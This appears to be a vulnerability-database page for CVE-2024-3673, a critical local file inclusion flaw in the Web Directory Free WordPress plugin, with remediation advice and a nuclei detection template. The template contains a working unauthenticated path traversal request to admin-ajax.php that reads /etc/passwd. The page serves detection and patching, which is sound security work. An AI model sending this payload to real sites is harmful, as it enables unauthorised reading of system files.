HexBrain

Browse / CVEs / CVE-2024-3673

CVE-2024-3673· salephpscripts / web-directory-free

Web Directory Free < 1.7.3 - Local File Inclusion

criticalseverity
9.1CVSS score
5.6%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

The Web Directory Free WordPress plugin before 1.7.3 does not validate a parameter before using it in an include(), which could lead to Local File Inclusion issues.

Impact

Unauthenticated attackers can exploit LFI to read sensitive files including /etc/passwd via the template parameter.

Fix

Update Web Directory Free to version 1.7.3 or later.

How to confirm it

Send: GET /
Positive when: contains(body, "/wp-content/plugins/web-directory-free") and status_code == 200
Send: POST /wp-admin/admin-ajax.php
Positive when: matches /root:.*:0:0:/ AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2024-3673 -u <target>

The full check
id: CVE-2024-3673

info:
  name: Web Directory Free < 1.7.3 - Local File Inclusion
  author: s4e-io
  severity: critical
  description: |
    The Web Directory Free WordPress plugin before 1.7.3 does not validate a parameter before using it in an include(), which could lead to Local File Inclusion issues.
  impact: |
    Unauthenticated attackers can exploit LFI to read sensitive files including /etc/passwd via the template parameter.
  remediation: |
    Update Web Directory Free to version 1.7.3 or later.
  reference:
    - https://wpscan.com/vulnerability/0e8930cb-e176-4406-a43f-a6032471debf/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3673
    - https://vuldb.com/?id.276216
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
    cvss-score: 9.1
    cve-id: CVE-2024-3673
    epss-score: 0.05578
    epss-percentile: 0.92945
  metadata:
    verified: true
    max-request: 2
    vendor: salephpscripts
    product: web-directory-free
    publicwww-query: "/wp-content/plugins/web-directory-free"
  tags: cve,cve2024,wordpress,wp-plugin,wp,lfi,web-directory-free,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/web-directory-free")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        from_set_ajax=1&action=w2dc_controller_request&template=../../../../../etc/passwd

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from